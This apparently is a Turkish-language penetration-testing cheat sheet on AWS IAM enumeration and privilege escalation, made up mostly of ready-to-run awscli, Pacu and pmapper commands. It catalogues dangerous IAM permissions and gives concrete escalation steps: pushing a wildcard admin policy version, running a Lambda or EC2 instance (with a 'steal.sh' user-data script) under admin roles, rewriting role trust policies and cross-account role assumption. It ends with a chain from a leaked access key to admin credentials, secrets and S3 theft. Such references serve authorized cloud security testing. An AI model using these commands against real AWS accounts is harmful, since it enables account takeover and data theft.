Skip to content

AWS — IAM Enumeration & Privilege Escalation

AWS privesc

AWS privesc

AWS’de yetkilendirme IAM policy’lerle yapılır. Bir kimliğin sahip olduğu tehlikeli bir izin, çoğu zaman hesabın tamamının ele geçirilmesine giden bir zincirin ilk halkasıdır. Rhino Security Labs kataloğu ~20+ bilinen IAM privesc yöntemi listeler; pratikte en sık görülenler CreatePolicyVersion, Attach*Policy, PassRole + compute ve gevşek AssumeRole trust’larıdır.

- Geçerli Access Key ID + Secret (+ opsiyonel Session Token)
- veya SSO / assume-role sonrası geçici kimlik
- awscli yapılandırılmış; mümkünse ayrı profil
Terminal window
export AWS_ACCESS_KEY_ID=AKIA...
Terminal window
export AWS_SECRET_ACCESS_KEY=...
Terminal window
export AWS_SESSION_TOKEN=... # geçici kimlikte zorunlu
Terminal window
export AWS_DEFAULT_REGION=eu-west-1
Terminal window
aws sts get-caller-identity

Kim olduğunu ve neyi görebildiğini tespit et

Section titled “Kim olduğunu ve neyi görebildiğini tespit et”
Terminal window
aws sts get-caller-identity # Account / Arn / UserId
Terminal window
aws iam get-user --user-name "$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)"
Terminal window
aws iam list-attached-user-policies --user-name X
Terminal window
aws iam list-user-policies --user-name X # inline
Terminal window
aws iam list-groups-for-user --user-name X
Terminal window
aws iam get-account-authorization-details # tüm IAM (yetki varsa)
Terminal window
aws iam list-attached-role-policies --role-name R
Terminal window
aws iam get-role --role-name R # trust policy dahil
Terminal window
enumerate-iam --access-key "$AWS_ACCESS_KEY_ID" --secret-key "$AWS_SECRET_ACCESS_KEY"

enumerate-iam hangi API çağrılarının başarılı olduğunu ölçer; policy okuyamasan bile etkili izinlerini keşfedersin.

iam:CreatePolicyVersion → mevcut politikaya admin izni ekle (--set-as-default)
iam:SetDefaultPolicyVersion → eski/zararlı versiyonu default yap
iam:AttachUserPolicy → kendine AdministratorAccess ekle
iam:AttachGroupPolicy / AttachRolePolicy
iam:PutUserPolicy → inline admin policy yaz
iam:PutGroupPolicy / PutRolePolicy
iam:CreateAccessKey → başka user'a anahtar üret
iam:CreateLoginProfile / UpdateLoginProfile → konsol parolası
iam:PassRole + ec2:RunInstances → admin rolüyle EC2, metadata'dan token
iam:PassRole + lambda:CreateFunction + InvokeFunction
iam:PassRole + glue / sagemaker / cloudformation / ecs / codebuild
sts:AssumeRole (gevşek trust) → daha yetkili role geç
iam:UpdateAssumeRolePolicy → rolün trust'ını kendine aç
iam:AddUserToGroup → admin grubuna kendini ekle
ec2:ModifyInstanceAttribute → user-data ile komut enjekte et
iam:PassRole + autoscaling / beanstalk
Terminal window
cat > admin.json <<'EOF'
Terminal window
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}
Terminal window
EOF
Terminal window
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT:policy/WeakPolicy \
--policy-document file://admin.json --set-as-default
Terminal window
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument, `lambda`)].Arn'
Terminal window
aws lambda create-function --function-name pwn \
--runtime python3.12 --role arn:aws:iam::ACCOUNT:role/AdminRole \
--handler lambda_function.lambda_handler --zip-file fileb://pwn.zip
Terminal window
aws lambda invoke --function-name pwn out.json
Terminal window
aws ec2 run-instances --image-id ami-... --instance-type t3.micro \
--iam-instance-profile Name=AdminInstanceProfile \
--user-data file://steal.sh
Terminal window
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/Target \
--role-session-name pentest
Terminal window
aws iam update-assume-role-policy --role-name Target \
--policy-document file://trust-me.json # UpdateAssumeRolePolicy varsa

AWS · whoami

embedded tool
Generated command
aws sts get-caller-identity --profile default
  1. İzin haritası çıkar — enumerate-iam ile hangi çağrıların başarılı olduğunu ölç; yetki varsa tüm authorization details’i çek. ScoutSuite / Prowler ile yanlış yapılandırma envanteri al.

  2. Zincir bul — Pacu ’nun iam__privesc_scan modülü veya pmapper grafiği ile privesc yollarını otomatik keşfet. “Who can escalate to admin?” sorusunu sor.

  3. PassRole’ü değerlendir — iam:PassRole + bir compute servisi (EC2/Lambda/ Glue/CloudFormation/CodeBuild/ECS) varsa admin role ile kod çalıştır. iam:PassRole resource koşulu * ise özellikle tehlikeli.

  4. Uygula ve doğrula — yeni yetkiyi al, sts get-caller-identity ve tekrar enum ile teyit et; sonra Secrets/S3/SSM’e geç.

Terminal window
pacu
Terminal window
> set_keys
Terminal window
> run iam__enum_permissions
Terminal window
> run iam__privesc_scan
Terminal window
pmapper graph create
Terminal window
pmapper query "who can do iam:* with *"
Terminal window
pmapper argquery --action 's3:GetObject' --resource '*'
Terminal window
pmapper query "preset privesc"
Terminal window
aws organizations list-accounts # yetki varsa
Terminal window
aws sts assume-role --role-arn arn:aws:iam::OTHER:role/OrganizationAccountAccessRole \
--role-session-name cross

Cross-account AssumeRole + gevşek ExternalId veya ExternalId yokluğu sık görülen lateral vektördür.

Sızmış AKIA key
→ enumerate-iam (PassRole + lambda:*)
→ CreateFunction with AdminRole
→ Invoke → admin temporary keys
→ secretsmanager + s3 sync + create access key on admin user